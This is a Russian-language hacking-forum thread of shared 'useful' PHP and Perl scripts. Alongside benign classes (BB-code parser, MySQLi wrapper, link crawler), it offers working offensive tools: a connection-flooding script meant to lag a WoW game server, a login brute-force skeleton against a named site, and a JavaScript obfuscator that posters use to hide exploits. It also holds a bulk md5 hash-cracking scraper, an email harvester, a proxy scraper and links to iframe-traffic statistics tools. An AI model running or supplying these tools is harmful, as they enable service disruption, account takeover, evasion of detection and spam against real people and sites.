Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. alexman90

    alexman90 Banned

    Joined:
    25 Oct 2007
    Messages:
    80
    Likes Received:
    74
    Reputations:
    -5
    спасибо Dimi4, только всё равно не работет сплоит после крипта...
     
  2. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    ты точно джаваскрипт криптуеш?
    до крипта работает?
     
    2 people like this.
  3. _3lf

    _3lf Member

    Joined:
    17 Mar 2008
    Messages:
    6
    Likes Received:
    7
    Reputations:
    5
    Парсер для hashcracking.info

    Как вы знаете там можно задавать по одному хешу за раз. Если нужно расшифровать несколько хешей то это становится весьма утомительно. Чтобы ускорить этот процесс я написал сей скрипт. Вводите лист вида username:hash , на выходе получается лист вида username:рassword. Особо не тестил, если какие глюки\баги - пишите, поправлю.
    Линк на скрипт
     
    4 people like this.
  4. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
     Несколько полезных классов[/b]

    Выкладываю тут свои php-классыдумаюкому-нибудь пригодится :) 

    1). Класс рисования диаграмм и графиковВесьма навороченная штукаумеет рисовать столбчатые и круговые диаграммыоси координатграфики по точкамлегендыграфики функцийступенчатые графикисеткуградиенты... и всё это с множеством настроекСодержит более 100 функцийесть очень подробное их описание и пара примеров.


    2). Класс-архиваторПозволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать ихподдерживает разные уровни сжатияшифрованиеумеет переименовыватьперемещатьудалятьсоздавать файлы прямо в архивеизвлекать конкретные файлыдобавлять файлы в архивИмеется подробное описание класса и пример работы.


    3Класс проверки параметровДовольно давно его написалумеет проверять числастрокиurl'ы, email'ыхэшидаты и т.дИмеется описание и пример.


    Все три класса можно скачать тут:
    http://rapidshare.com/files/103151532/scripts.zip.html
     
    1 person likes this.
  5. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    PHP:
    <?php
      set_time_limit
    (0)or die ("Время работы скрипта ограниченно!");
      
    $in "hash.txt";             #Файл с хешеми
      
    $out "crack.txt";           #Файл в которые будут записыватся крякнутые хеши
      
    $hash file($in)             or die ("Не удается открыть файл: ".$in);
      
    $fp   fopen ($out"a")     or die ("Не удается создать файл: ".$out);
      for (
    $x=0;$x<count($hash);$x++):
      
    $sock fsockopen ("md5.xek.cc"80);
      
    $send "POST http://md5.xek.cc/index.php HTTP/1.0\r\n";
      
    $send.= "User-Agent: Opera/9.23 (Windows NT 5.1;U; ru)\r\n";
      
    $send.= "Host: md5.xek.cc\r\n";
      
    $send.= "Accept: text/html image/png image/gif image/jpg\r\n";
      
    $send.= "Accept-Language: ru-Ru,ru;q=0.9,en;q=0.8\r\n";
      
    $send.= "Accept-Charset: iso8859-1, utf-8, utf-16, *;q=0.1\r\n";
      
    $send.= "Accept-Encoding: deflate, gzip, x-gzip, identify, *;q=0\r\n";
      
    $send.= "Referer: http://md5.xek.cc/index.php\r\n";
      
    $send.= "Proxy-Connection: close\r\n";
      
    $send.= "Content-Length: 46\r\n";
      
    $send.= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
      
    $send.= "hash=".trim($hash[$x])."&act=find\r\n\r\n\r\n\r\n";
      
    fputs ($sock$send);
      while (!
    feof($sock))
         {    
        @
    $str.=   fgets ($sock,1024);
         }
    $find preg_match("|(?<=: <b>)(.?)+(?=<\/b>)|",$str,$pass);
    for (
    $z=0;$z<$find;$z++):
    fputs($fp,md5(trim($pass[$z])).":".$pass[$z]."\n");
    endfor;
    $str=0;
    endfor;
    fclose ($sock);
    fclose ($fp);
    ?>
    Парсер md5.xek.cc хеши берет из файла крякнутые записывает тож в файл в таком виде:
    c4ca4238a0b923820dcc509a6f75849b:1
     
    #325 Sleep, 29 Mar 2008
    Last edited: 29 Mar 2008
  6. _3lf

    _3lf Member

    Joined:
    17 Mar 2008
    Messages:
    6
    Likes Received:
    7
    Reputations:
    5
    Простенький скрипт для собирания прокси листов с различных ресурсов. Ищет на страницах по шаблону ip:рort. В файл надо записать адреса сайтов которые будем парсить.

    Например:
    http://www.nntime.com/socks/index.php?start=1
    http://www.nntime.com/socks/index.php?start=25
    http://www.nntime.com/socks/index.php?start=49
    http://www.nntime.com/socks/index.php?start=73
    http://www.nntime.com/socks/index.php?start=97
    http://www.nntime.com/socks/index.php?start=121
    http://www.nntime.com/socks/index.php?start=145
    http://www.nntime.com/socks/index.php?start=169
    http://www.nntime.com/socks/index.php?start=193
    http://www.nntime.com/socks/index.php?start=217

    Линк на скрипт
     
    1 person likes this.
  7. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Code:
       * И так представляю вашему вниманию класс который парсит BB коды,
      класс отличяется тем что очень прост в плане добовления 
      новых BB кодов а также его легко переделать для работы с БД.
       
      ИНСТРУКЦИЯ по добовлению новых ББ кодов:
      BB код представляет из себя массив содержаший в себе
      параметры BB кода.
      Пример:
     'color' => array (
       1 => '<font="$1">$2', 
       2 => '</font>',
       3 => '2',
       4 => '[ font=x1 ]x2[ /font ]',
       ),
      Ключ массва это имя BB кода, 
      ВНИМАНИЕ: ключ должен содержать буквы нижнего регистра(МАЛЕНЬКИЕ)   
      и цифры.	
      Ключ со значением 1 - это открытие HTML тэга,
      а также вы обозначаете $n значение пришедшие от пользователя
     с 1 и далее по возростания где n - число
      Пример: в теге <font color="red">str</font> 2 значения пришедших
      от пользователя это цвет (red) и строка (str)а значит будет так
      <font color"$1">$2</font>.
      Далее кдюч 2 - закрываюший тэг(Необязатльное поле) 
      можете его не указывать если тэг закрытый например тэг <hr>.
     3ий ключ в массиве это максимальное количество значений которые
     должны прийти от пользователя.
     И 4ый ключ это как будет выглидеть BB код а где xn опять же
     значения от пользоваетя где n - число от 1 и далее 
    PHP:
    <?php

    /**
     * @author @FATAL@
     * @copyright 2008
     */

    class bbcode
    {
        public 
    $arrcode = array (
            
    'color' => array (
                
    => '<font="$1">$2',
                
    => '</font>',
                
    => '2',
                
    => '[font=x1]x2[/font]',
                ),
            
    'b' => array (
                
    => '<b>$1',
                
    => '</b>',
                
    => '1',
                
    => '[b]x1[/b]'
                
    ),
            
    'link' => array (
                
    => '<a href="http://$1" target="_blank">$2',
                
    => '</a>',
                
    => '2',
                
    => '[link=x1]x2[/link]'
                
    ),
            
    'size' => array (
                
    => '<font size="$1">$2',
                
    => '</font>',
                
    => '2',
                
    => '[size=x1]x2[/size]'
                
    ),
            
    'hr' => array (
                
    => '<hr width="$1">',
                
    => '',
                
    => '1',
                
    => '[hr=x1]'
                
    ),
            
    'center' => array (
                
    => '<div align="center">$1',
                
    => '</div>',
                
    => '1',
                
    => '[center]x1[/center]'
                
    )
            );
        public function 
    __construct($BBcodes)
        {
            
    $this->BBcod($BBcodes);
        }
        public function 
    BBcod($BBcodes)
        {
             
    preg_match_all('#\[(\w+).*?\]#is'$BBcodes$pock);

             
    $BBcodes htmlspecialchars($BBcodes);

            for (
    $x 0$x <= count($pock['1']); $x++)
            {
                
    $BB strtolower($pock['1'][$x]);
                
    $str preg_quote($this->arrcode[$BB]['4'], '#');

                if (isset(
    $this->arrcode[$BB]))
                {
                    if (
    strcasecmp($pock['1'][$x], 'link'))
                    {
                        
    $BBcodes str_ireplace('http://'''$BBcodes);
                    }
                    for (
    $i 0$i <= $this->arrcode[$BB]['3']; $i++)
                    {

                        
    $str str_replace('x' $i'(.+?)'$str);
                    }
                    
    $str '#' $str '#is';
                
    $BBcodes preg_replace($str$this->arrcode[$BB]['1'] . $this->arrcode[$BB]['2'],$BBcodes);
                }


            }
            
    $this->BBcodes $BBcodes;

        }
        public function 
    __destruct() 
        {
            return 
    "Идёт уничтожение";
        }
    }
    ?>
    Сильно не пинайте.. я старался 2 раза переписывал=)
     
    #327 Doom123, 29 Mar 2008
    Last edited: 29 Mar 2008
  8. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    Скрипт грузит сервер WoW. для небольших домашних(в локалке) серверов подходит. загружает проц сервера WoW. (незабываем менять адрес сервера и число в цикле. заливаем на несколько хостов и получаем лаги в игре) ВОЗМОЖНО скрипт доработаю.

    PHP:
    <?php
    set_time_limit
    (0);
    ob_implicit_flush ();

    $ip=gethostbyname('wow.site.com');

    echo 
    $ip;

    for (
    $i=0;$i<1000;$i++){
        
    $wows=socket_create(AF_INET,SOCK_STREAM,0);
        
    socket_connect($wows,$ip,3306);
        
    socket_close($wows);
        
        
    $wows=socket_create(AF_INET,SOCK_STREAM,0);
        
    socket_connect($wows,$ip,3724);
        
    socket_close($wows);
    };
    ?>
     
    3 people like this.
  9. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    А у ково есть такой скрипт чтобы подменять адрес сайта
    Например Я на сайте 1.ru, а в адресной строке будит написано: 2.ru
     
  10. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    если ты админ сайта 2.ru то вставь на главной странице код

    <frameset rows="100%">
    <frame src="http://1.ru" name="frame1">
    </frameset>

    А так ты ошибся темой ,сдесь выкладывают скрипты, а вопросы по html нужно задавать в http://forum.antichat.ru/thread43254.html
     
    #330 ZET36, 11 Apr 2008
    Last edited: 11 Apr 2008
  11. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    кто знает есть скрипт чтобы массово сменить кодировку файлов с windows1251 на utf-8?
     
  12. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    2Корвин
    http://forum.antichat.ru/threadnav65761-1-10.html
    не подходит ???
     
    1 person likes this.
  13. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3

    да , гуд, а что там с путями к папке, где они там прописываются?


    а все разобрался ) сенкс)
     
    #333 Корвин, 15 Apr 2008
    Last edited: 15 Apr 2008
  14. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Может кому потребуется, скрипт парсит текущую диру , на мыльники , вообщем пробегается по всем файлам , и результат заносит в mails.txt.

    Code:
    #!/usr/bin/perl
    use strict;
    my($g,@a,@b,$all,$f);
    $g = "*.*";
    @a = glob($g);
    $all = 0;
    open mail,'>mails.txt';
    foreach $f (@a)
     {
       open file, $f;
       while(<file>)
        {
    	  if ( $_ =~ /(\w+@\w+[^\.]\.\w{2,10})/ )  { unshift (@b,$1."\n"); $all++ } ;
        }
       close file;
     };
    print mail "All:$all\n";
    print mail @b;
    close mail;
    
     
  15. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    скрипт криптор
    PHP:
    <?
    function 
    a($n)
    {
        
    $p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*"//сдесь пишем любой ключ который вам нравится и криптуем своей сигнатурой
        
    $q='';
        
    $e='';
        for(
    $l=0;$l<strlen($n);$l++)
        {
      
    $o=$n[$l];
      
    $m=strpos($p,$o);
      if(
    $m>-1)
      {
          
    $z=(($m+1)-1);
          if(
    $z==79)
          {
        
    $z =0;
          }
          
    $q .= $p[$z+1];
      } else {
          
    $q.=$o;
      }
        }
        return 
    $q;
    }
    $file=join('',file('in.html')); //файл который криптуем
    $file=str_replace("\r\n",'',$file);
    $file=str_replace("\n",'',$file);
    $file=a($file);
    $decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
    $decrypt=urlencode($decrypt);
    $decrypt=str_replace('+',' ',$decrypt);
    $file=str_replace("'","\'",$file);
    $cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>";
    $file=fopen('out.htm','w'); //то что получается на выходе
    fputs($file,$cont);
    fclose($file);
    ?>
    ЗЫ ВСЕ для ачата
     
  16. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Уф.. Я сёдня потрудился, написал скрипт, который получает все ссылки с сайта.
    Code:
    <?php
    	$site = 'http://localhost/';
    	foreach(get_urls($site) as $url) {
    		echo '<a href="'.$url.'">'.$url.'</a><br>'."\n";
    	}
    	function my_sort($array) {
    		$new_array = array();
    		foreach($array as $value) {
    			$new_array[] = $value;
    		}
    		return $new_array;
    	}
    	function DirnameNormal($url) {
    		$fulldir = '';
    		$explode = explode('/', $url);
    		foreach($explode as $i => $dir) {
    			if($dir && $i != (count($explode)-1)) {
    				$fulldir .= $dir.'/';
    			}
    		}
    		return $fulldir;
    	}
    	function JoinToSite($url, $site) {
    		$domain = parse_url($site);
    		$domain = $domain['scheme'].'://'.$domain['host'];
    		if($url{0} == '/') {
    			$link = $domain.$url;
    		} else if(preg_match('~^http(s)?:~i', $url)) {
    			if(parse_url($url, PHP_URL_HOST) == parse_url($site, PHP_URL_HOST)) {
    				$link = $url;
    			}
    		} else {
    			if(!preg_match('~^(ftp(s)?|javascript|mailto):~i', $url)) {
    				$dirname = DirnameNormal(parse_url($site, PHP_URL_PATH));
    				$link = $domain.'/'.$dirname.$url;
    			}
    		}
    		return (isset($link) ? $link : false);
    	}
    	function GetAllUrlsFromUrl($url, $all_links) {
    		$first = file_get_contents($url);
    		preg_match_all('~<a[^>]+href[\x20]?=[\x20\x22\x27]?([^\x20\x22\x27\x3E]+)[\x20\x22\x27]?[^>]*>~i',  $first, $second);
    		$array_urls = array();
    		foreach($second[1] as $link) {
    			$link = JoinToSite($link, $url);
    			if($link !== false && !in_array($link, $all_links)) {
    				$array_urls[] = $link;
    			}
    		}
    		return ((count($array_urls) > 0) ? $array_urls : false);
    	}
    	function get_urls($url, $all_links = array()) {
    		$get_urls = GetAllUrlsFromUrl($url, $all_links);
    		if($get_urls) {
    			if($all_links == array()) {
    				$all_links[] = $url;
    			}
    			$all_links = array_merge($all_links, $get_urls);
    			foreach($get_urls as $url) {
    				$GetAllUrls = get_urls($url, $all_links);
    				return my_sort(array_unique($GetAllUrls));
    			}
    		} else {
    			return $all_links;
    		}
    	}
    ?>
    Хочу предупредить, этот скрипт получает контент каждой страницы, так что вы можете сделать большую нагрузку на сайт, который вписали в скрипт. Очень прошу не проверять его на античате.
     
    3 people like this.
  17. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    PHP:
    <?php

    /**
     * @author @FATAL@
     * @copyright 2008
     * 
     * Класс для работы с БД через новую библиотеку MySqlI
     * 
     * Пример:
     * **************************************************
     * $date = '10.5.2008';
     * $db = new DB('localhost','root','','mydb');  
     * $db->mysql_qw('UPDATE `news` SET `date`=?',$date);
     * **************************************************
     * Клас переделан из старой функции для работы с БД 
     * Безопасен и без особых наворотов, легко и просто      
     */

    class DB
    {
        public function 
    __construct($host,$user,$db_pass,$db)
        {
             
    $this->connect mysqli_connect($host,$user,$db_pass);
             
    mysqli_select_db($this->connect,$db);
        }
         function 
    mysql_qw()
        {
            
    $this->args func_get_args();
            
    $qwery $this->mysql_make_qw();
            return 
    $result mysqli_query($this->connect,$qwery);
            
    mysqli_free_result($result);
        }
        
    private    function 
    mysql_make_qw()
        {
            
    $tml $this->args;
            
    $tml[0] = str_replace('%','%%',$tml[0]);
            
    $tml[0] = str_replace('?','%s',$tml[0]);
            foreach (
    $tml as $i => $v)
            {
                if (!
    $i)
                {
                    continue;
                }
                if (
    is_int($v))
                {
                    continue;
                }
                
    $tml[$i] = "'" mysqli_escape_string($this->connect,$v) . "'";
            }
            for (
    $i $c count($tml) - 1$i $c 20$i++)
            {
                
    $tml[$i 1] = "UNKNOWN_PLACEHOLDER_$i";
                return 
    call_user_func_array("sprintf",$tml);
            }
        }

        public function 
    __destruct()
        {
            
    mysqli_close($this->connect);
        }
    }
    ?>
     
  18. vizard-06

    vizard-06 Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    55
    Likes Received:
    8
    Reputations:
    0
    написал парсер проксей с http://www.nntime.com/ с обходом защиты на js которую ввели там :)
    PHP:
    <?
    $prox_link=file_get_contents('http://www.nntime.com/');
    $peremen_port='';
    $prox_res='';
    $prox_link=str_replace("\r\n",'',$prox_link);
    $prox_link=str_replace("\n",'',$prox_link);
    preg_match("/javascript\"\>(.*?)\<\/script\>/i",$prox_link,$peremeni);
    $k_ports=preg_match_all("/document\.write\(\"\:\"(.*?)\)\<\/script\>/i",$prox_link,$port);
    preg_match_all("/(\d+\.\d+\.\d+\.\d+)\</i",$prox_link,$iiip);
    $p_port=explode(';',$peremeni[1]);
    for(
    $iii=0;$iii<count($p_port)-1;$iii++) {
        
    $peremen_port.='$'.$p_port[$iii].'; ';
    }
    eval(
    $peremen_port);
    for(
    $iii=0;$iii<$k_ports;$iii++) {
        
    $port_ed=str_replace("+",'.$',$port[1][$iii]);
        eval(
    '$port_res=\':\''.$port_ed.';');
        
    $prox_res.=$iiip[1][$iii].$port_res.'<br>';
    }
    echo 
    $prox_res;
    ?>
     
    #338 vizard-06, 7 May 2008
    Last edited: 7 May 2008
    2 people like this.
  19. КВР

    КВР Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    16
    Likes Received:
    30
    Reputations:
    -2
    ifr 1.1 - разделения ифрейм трафика по странам так же статика по странам и загрузок за день

    st_load_1.1 - статистика загрузок по странам за день и за все фремя...
    http://www.web-defence.ru/ifr 1.1.rar
    http://www.web-defence.ru/t_load_1.1.rar
     
  20. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    Брут ../../tak.ru
    Стоит чуть переделать и будет уже хороший брутер
    PHP:
    <?php
    $tak_login
    ="freetest";
    $tak_pass="ANTICHAT";
    $packet.="POST /enter.php HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
    $packet.="Accept-Language: ru\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: web.tak.ru\r\n";
    $packet.="Content-Length: 52\r\n";
    $packet.="Pragma: no-cache\r\n";
    $packet.="Connection: Keep-Alive\r\n\r\n";
    $packet.="login=$tak_login&password=$tak_pass&Submit=++OK++&z=enter_form";
    $ock=fsockopen("web.tak.ru",80);
    fputs($ock,$packet);
    $html='';
    while (!
    feof($ock))
    {
    $html.=fgets($ock);
    }
    fclose($ock);
    if ((
    strpos($html,"302 Found"))>0) echo "Пароль правильный";
    else echo 
    "Не правильный пароль ";
    ?>
    Ps только в ознакомительных целях
     
    2 people like this.